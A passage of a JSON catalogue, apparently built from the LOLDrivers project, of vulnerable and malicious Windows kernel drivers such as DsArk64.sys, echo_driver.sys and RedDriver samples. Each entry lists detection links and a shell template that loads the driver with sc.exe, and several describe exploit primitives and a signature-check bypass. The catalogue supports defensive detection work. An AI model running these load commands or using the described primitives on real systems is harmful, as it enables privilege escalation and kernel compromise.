        "commands": [
          "sc.exe create driver7-x64.sys binPath=C:\\windows\\temp\\driver7-x64.sys     type=kernel && sc.exe start driver7-x64.sys"
        ]
      }
    ],
    "name": "driver7-x64.sys",
    "namespace": "windows:kernel:driver7-x64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/Chigusa0w0/AsusDriversPrivEscala"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver7-x86.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver7-x86.sys     type=kernel && sc.exe start driver7-x86.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver7-x86.sys\"\n\n# driver7-x86.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver7-x86.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/42851a01469ba97cdc38939b10cf9ea13237aa1f6c37b1ac84904c5a12a81fa0.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create driver7-x86.sys binPath=C:\\windows\\temp\\driver7-x86.sys     type=kernel && sc.exe start driver7-x86.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-driver7-x86",
    "install": [
      {
        "method": "custom",
        "description": "Load driver7-x86.sys kernel driver",
        "commands": [
          "sc.exe create driver7-x86.sys binPath=C:\\windows\\temp\\driver7-x86.sys     type=kernel && sc.exe start driver7-x86.sys"
        ]
      }
    ],
    "name": "driver7-x86.sys",
    "namespace": "windows:kernel:driver7-x86",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/Chigusa0w0/AsusDriversPrivEscala"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create driver7-x86-withoutdbg.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\driver7-x86-withoutdbg.sys     type=kernel && sc.exe start driver7-x86-withoutdbg.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver driver7-x86-withoutdbg.sys\"\n\n# driver7-x86-withoutdbg.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driver7-x86-withoutdbg.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/927c2a580d51a598177fa54c65e9d2610f5f212f1b6cb2fbf2740b64368f010a.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create driver7-x86-withoutdbg.sys binPath=C:\\windows\\temp\\driver7-x86-withoutdbg.sys     type=kernel && sc.exe start driver7-x86-withoutdbg.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-driver7-x86-withoutdbg",
    "install": [
      {
        "method": "custom",
        "description": "Load driver7-x86-withoutdbg.sys kernel driver",
        "commands": [
          "sc.exe create driver7-x86-withoutdbg.sys binPath=C:\\windows\\temp\\driver7-x86-withoutdbg.sys     type=kernel && sc.exe start driver7-x86-withoutdbg.sys"
        ]
      }
    ],
    "name": "driver7-x86-withoutdbg.sys",
    "namespace": "windows:kernel:driver7-x86-withoutdbg",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/Chigusa0w0/AsusDriversPrivEscala"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create DriversCloud_amd64 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\DriversCloud_amd64.sys type=kernel && sc.exe start DriversCloud_amd64\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver DriversCloud_amd64.sys\"\n\n# DriversCloud_amd64.sys\n\nCYBELSOFT DriversCloud_amd64.sys exposes 7 IOCTLs with no access checks and a zero security descriptor on the device object, meaning any user (including low-integrity processes) can open a handle. Primitives include arbitrary physical memory read via MmMapIoSpace (up to 2MB per call), arbitrary MSR read/write (including IA32_LSTAR for instant kernel code execution), arbitrary I/O port read/write, and arbitrary PCI configuration space read/write. A full LSTAR hijack PoC with crash-safe ROP restore has been demonstrated. The developer acknowledged the issue and is working on a rewritten driver.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-driverscloud-amd64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "CYBELSOFT DriversCloud_amd64.sys exposes 7 IOCTLs with no access checks and a zero security descriptor on the device object, meaning any user (including low-integrity processes) can open a handle. Primitives include arbitrary physical memory read via MmMapIoSpace (up to 2MB per call), arbitrary MSR read/write (including IA32_LSTAR for instant kernel code execution), arbitrary I/O port read/write, and arbitrary PCI configuration space read/write. A full LSTAR hijack PoC with crash-safe ROP res...",
    "execution": {
      "template": "sc.exe create DriversCloud_amd64 binPath=C:\\windows\\temp\\DriversCloud_amd64.sys type=kernel && sc.exe start DriversCloud_amd64",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "compression",
      "file-system",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-driverscloud-amd64",
    "install": [
      {
        "method": "custom",
        "description": "Load DriversCloud_amd64.sys kernel driver",
        "commands": [
          "sc.exe create DriversCloud_amd64 binPath=C:\\windows\\temp\\DriversCloud_amd64.sys type=kernel && sc.exe start DriversCloud_amd64"
        ]
      }
    ],
    "name": "DriversCloud_amd64.sys",
    "namespace": "windows:kernel:driverscloud-amd64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/284"
      },
      {
        "label": "Reference",
        "url": "https://www.virustotal.com/gui/file/2bc72d11fa0beda25dc1dbc372967db49bd3c3a3903913f0877bff6792724dfe"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create DsArk binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\DsArk64.sys type=kernel && sc.exe start DsArk\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver DsArk64.sys\"\n\n# DsArk64.sys\n\nDsArk64.sys is a WHQL Microsoft-signed anti-rootkit kernel driver from Qihoo 360 Total Security. It exposes kernel-level process termination via ZwTerminateProcess from Ring 0 (kills PPL-protected processes), arbitrary kernel memory read (512 bytes), and arbitrary kernel memory write (32 bytes). The driver gates device access behind a custom Authenticode signing check that validates the calling process PE signature against Qihoo root certificates. This check is fully bypassed via process hollowing into any Qihoo-signed executable (freely downloadable from 360.cn). The process kill IOCTL (0x80863008) requires no encryption or additional auth beyond the device open -- just a raw 4-byte PID. The kernel R/W IOCTLs use AES-128-CBC with a static key embedded in the binary. Initialization requires setting registry key HKLM\\SYSTEM\\CCS\\Services\\360FsFlt\\daboot to 1.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-dsark64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "DsArk64.sys is a WHQL Microsoft-signed anti-rootkit kernel driver from Qihoo 360 Total Security. It exposes kernel-level process termination via ZwTerminateProcess from Ring 0 (kills PPL-protected processes), arbitrary kernel memory read (512 bytes), and arbitrary kernel memory write (32 bytes). The driver gates device access behind a custom Authenticode signing check that validates the calling process PE signature against Qihoo root certificates. This check is fully bypassed via process holl...",
    "execution": {
      "template": "sc.exe create DsArk binPath=C:\\windows\\temp\\DsArk64.sys type=kernel && sc.exe start DsArk",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "encryption",
      "file-system",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-dsark64",
    "install": [
      {
        "method": "custom",
        "description": "Load DsArk64.sys kernel driver",
        "commands": [
          "sc.exe create DsArk binPath=C:\\windows\\temp\\DsArk64.sys type=kernel && sc.exe start DsArk"
        ]
      }
    ],
    "name": "DsArk64.sys",
    "namespace": "windows:kernel:dsark64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/308"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create dtr_ec binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\dtr_ec.sys type=kernel && sc.exe start dtr_ec\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver dtr_ec.sys\"\n\n# dtr_ec.sys\n\ndtr_ec.sys is a Dell kernel driver that ships as part of the Dell Feature Enhancement Pack (DFEP) on Dell laptops and desktops. The driver provides unrestricted read/write access to Embedded Controller (EC) registers across 5 ACPI address spaces from usermode with no validation on the register addresses or values. The Embedded Controller manages critical hardware functions including thermal management, battery charging, fan control, power states, and keyboard input. Unrestricted EC register access allows manipulation of thermal thresholds to cause hardware damage or forced shutdowns, modification of fan speed controls, interference with battery charging logic, and alteration of power management behavior. Dell PSIRT has confirmed the vulnerability and triaged it as P2 severity on Bugcrowd.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-dtr-ec.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "dtr_ec.sys is a Dell kernel driver that ships as part of the Dell Feature Enhancement Pack (DFEP) on Dell laptops and desktops. The driver provides unrestricted read/write access to Embedded Controller (EC) registers across 5 ACPI address spaces from usermode with no validation on the register addresses or values. The Embedded Controller manages critical hardware functions including thermal management, battery charging, fan control, power states, and keyboard input. Unrestricted EC register a...",
    "execution": {
      "template": "sc.exe create dtr_ec binPath=C:\\windows\\temp\\dtr_ec.sys type=kernel && sc.exe start dtr_ec",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-dtr-ec",
    "install": [
      {
        "method": "custom",
        "description": "Load dtr_ec.sys kernel driver",
        "commands": [
          "sc.exe create dtr_ec binPath=C:\\windows\\temp\\dtr_ec.sys type=kernel && sc.exe start dtr_ec"
        ]
      }
    ],
    "name": "dtr_ec.sys",
    "namespace": "windows:kernel:dtr-ec",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/293"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create dXIw8eZ9aYxQYzgm binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\dXIw8eZ9aYxQYzgm.sys type=kernel && sc.exe start dXIw8eZ9aYxQYzgm\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver dXIw8eZ9aYxQYzgm.sys\"\n\n# dXIw8eZ9aYxQYzgm.sys\n\ndXIw8eZ9aYxQYzgm.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-dxiw8ez9ayxqyzgm.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "dXIw8eZ9aYxQYzgm.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create dXIw8eZ9aYxQYzgm binPath=C:\\windows\\temp\\dXIw8eZ9aYxQYzgm.sys type=kernel && sc.exe start dXIw8eZ9aYxQYzgm",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-dxiw8ez9ayxqyzgm",
    "install": [
      {
        "method": "custom",
        "description": "Load dXIw8eZ9aYxQYzgm.sys kernel driver",
        "commands": [
          "sc.exe create dXIw8eZ9aYxQYzgm binPath=C:\\windows\\temp\\dXIw8eZ9aYxQYzgm.sys type=kernel && sc.exe start dXIw8eZ9aYxQYzgm"
        ]
      }
    ],
    "name": "dXIw8eZ9aYxQYzgm.sys",
    "namespace": "windows:kernel:dxiw8ez9ayxqyzgm",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create e29f6311ae87542b3d693c1f38e4e3ad.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\e29f6311ae87542b3d693c1f38e4e3ad.sys type=kernel && sc.exe start e29f6311ae87542b3d693c1f38e4e3ad.sys\"\n\n# e29f6311ae87542b3d693c1f38e4e3ad.sys\n\nCisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custom implementation of ReflectiveLoader. The authors of RedDriver appear to be skilled in driver development and have deep knowledge of the Windows operating system. This threat appears to target native Chinese speakers, as it searches for Chinese language browsers to hijack. Additionally, the authors are likely Chinese speakers themselves.\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1014\n",
    "_source": "windows-kernel-e29f6311ae87542b3d693c1f38e4e3ad.md",
    "author": "Alice Climent-Pommeret",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Cisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custo...",
    "execution": {
      "template": "sc.exe create e29f6311ae87542b3d693c1f38e4e3ad.sys binPath=C:\\windows\\temp\\e29f6311ae87542b3d693c1f38e4e3ad.sys type=kernel && sc.exe start e29f6311ae87542b3d693c1f38e4e3ad.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-e29f6311ae87542b3d693c1f38e4e3ad",
    "install": [
      {
        "method": "custom",
        "description": "Load e29f6311ae87542b3d693c1f38e4e3ad.sys kernel driver",
        "commands": [
          "sc.exe create e29f6311ae87542b3d693c1f38e4e3ad.sys binPath=C:\\windows\\temp\\e29f6311ae87542b3d693c1f38e4e3ad.sys type=kernel && sc.exe start e29f6311ae87542b3d693c1f38e4e3ad.sys"
        ]
      }
    ],
    "name": "e29f6311ae87542b3d693c1f38e4e3ad.sys",
    "namespace": "windows:kernel:e29f6311ae87542b3d693c1f38e4e3ad",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.talosintelligence.com/undocumented-reddriver/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create e939448b28a4edc81f1f974cebf6e7d2.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\e939448b28a4edc81f1f974cebf6e7d2.sys type=kernel && sc.exe start e939448b28a4edc81f1f974cebf6e7d2.sys\"\n\n# e939448b28a4edc81f1f974cebf6e7d2.sys\n\nCisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custom implementation of ReflectiveLoader. The authors of RedDriver appear to be skilled in driver development and have deep knowledge of the Windows operating system. This threat appears to target native Chinese speakers, as it searches for Chinese language browsers to hijack. Additionally, the authors are likely Chinese speakers themselves.\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1014\n",
    "_source": "windows-kernel-e939448b28a4edc81f1f974cebf6e7d2.md",
    "author": "Alice Climent-Pommeret",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Cisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custo...",
    "execution": {
      "template": "sc.exe create e939448b28a4edc81f1f974cebf6e7d2.sys binPath=C:\\windows\\temp\\e939448b28a4edc81f1f974cebf6e7d2.sys type=kernel && sc.exe start e939448b28a4edc81f1f974cebf6e7d2.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-e939448b28a4edc81f1f974cebf6e7d2",
    "install": [
      {
        "method": "custom",
        "description": "Load e939448b28a4edc81f1f974cebf6e7d2.sys kernel driver",
        "commands": [
          "sc.exe create e939448b28a4edc81f1f974cebf6e7d2.sys binPath=C:\\windows\\temp\\e939448b28a4edc81f1f974cebf6e7d2.sys type=kernel && sc.exe start e939448b28a4edc81f1f974cebf6e7d2.sys"
        ]
      }
    ],
    "name": "e939448b28a4edc81f1f974cebf6e7d2.sys",
    "namespace": "windows:kernel:e939448b28a4edc81f1f974cebf6e7d2",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.talosintelligence.com/undocumented-reddriver/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create echo_driver.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\echo_driver.sys type=kernel && sc.exe start echo_driver.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver echo_driver.sys\"\n\n# echo_driver.sys\n\nBad access controls in Inspect Element Ltd.'s echo_driver.sys allows attacker to gain arbitrary memory read and write, which allows for easy Privilege Escalation via Token Theft.\n\n**Use Case:** Elevate privileges, arbitrary memory read/write\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1134\n",
    "_source": "windows-kernel-echo-driver.md",
    "author": "Protocol & Zach",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Bad access controls in Inspect Element Ltd.'s echo_driver.sys allows attacker to gain arbitrary memory read and write, which allows for easy Privilege Escalation via Token Theft.",
    "execution": {
      "template": "sc.exe create echo_driver.sys binPath=C:\\windows\\temp\\echo_driver.sys type=kernel && sc.exe start echo_driver.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-echo-driver",
    "install": [
      {
        "method": "custom",
        "description": "Load echo_driver.sys kernel driver",
        "commands": [
          "sc.exe create echo_driver.sys binPath=C:\\windows\\temp\\echo_driver.sys type=kernel && sc.exe start echo_driver.sys"
        ]
      }
    ],
    "name": "echo_driver.sys",
    "namespace": "windows:kernel:echo-driver",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://ioctl.fail/echo-ac-writeup/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/kite03/echoac-poc/tree/main/PoC"
      },
      {
        "label": "Reference",
        "url": "https://github.com/pseuxide/kur"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ecsiodriverx64sys binPath= C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ecsiodriverx64sys.sys type=kernel && sc.exe start ecsiodriverx64sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver ecsiodriverx64.sys\"\n\n# ecsiodriverx64.sys\n\nThe Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-ecsiodriverx64.md",
    "author": "Takahiro Haruyama",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "The Carbon Black Threat Analysis Unit (TAU) discovered 34 unique vulnerable drivers (237 file hashes) accepting firmware access. Six allow kernel memory access. All give full control of the devices to non-admin users. By exploiting the vulnerable drivers, an attacker without the system privilege may erase/alter firmware, and/or elevate privileges. As of the time of writing in October 2023, the filenames of the vulnerable drivers have not been made public until now.",
    "execution": {
      "template": "sc.exe create ecsiodriverx64sys binPath= C:\\windows\\temp\\ecsiodriverx64sys.sys type=kernel && sc.exe start ecsiodriverx64sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-ecsiodriverx64",
    "install": [
      {
        "method": "custom",
        "description": "Load ecsiodriverx64.sys kernel driver",
        "commands": [
          "sc.exe create ecsiodriverx64sys binPath= C:\\windows\\temp\\ecsiodriverx64sys.sys type=kernel && sc.exe start ecsiodriverx64sys"
        ]
      }
    ],
    "name": "ecsiodriverx64.sys",
    "namespace": "windows:kernel:ecsiodriverx64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create ef0e1725aaf0c6c972593f860531a2ea.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\ef0e1725aaf0c6c972593f860531a2ea.sys type=kernel && sc.exe start ef0e1725aaf0c6c972593f860531a2ea.sys\"\n\n# ef0e1725aaf0c6c972593f860531a2ea.sys\n\nCisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custom implementation of ReflectiveLoader. The authors of RedDriver appear to be skilled in driver development and have deep knowledge of the Windows operating system. This threat appears to target native Chinese speakers, as it searches for Chinese language browsers to hijack. Additionally, the authors are likely Chinese speakers themselves.\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1014\n",
    "_source": "windows-kernel-ef0e1725aaf0c6c972593f860531a2ea.md",
    "author": "Alice Climent-Pommeret",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Cisco Talos has identified multiple versions of an undocumented malicious driver named “RedDriver,” a driver-based browser hijacker that uses the Windows Filtering Platform (WFP) to intercept browser traffic. RedDriver has been active since at least 2021. RedDriver utilizes HookSignTool to forge its signature timestamp to bypass Windows driver-signing policies. Code from multiple open-source tools has been used in the development of RedDriver's infection chain, including HP-Socket and a custo...",
    "execution": {
      "template": "sc.exe create ef0e1725aaf0c6c972593f860531a2ea.sys binPath=C:\\windows\\temp\\ef0e1725aaf0c6c972593f860531a2ea.sys type=kernel && sc.exe start ef0e1725aaf0c6c972593f860531a2ea.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdin",
      "requires-root",
      "stealth"
    ],
    "id": "windows-kernel-ef0e1725aaf0c6c972593f860531a2ea",
    "install": [
      {
        "method": "custom",
        "description": "Load ef0e1725aaf0c6c972593f860531a2ea.sys kernel driver",
        "commands": [
          "sc.exe create ef0e1725aaf0c6c972593f860531a2ea.sys binPath=C:\\windows\\temp\\ef0e1725aaf0c6c972593f860531a2ea.sys type=kernel && sc.exe start ef0e1725aaf0c6c972593f860531a2ea.sys"
        ]
      }
    ],
    "name": "ef0e1725aaf0c6c972593f860531a2ea.sys",
    "namespace": "windows:kernel:ef0e1725aaf0c6c972593f860531a2ea",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://blog.talosintelligence.com/undocumented-reddriver/"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
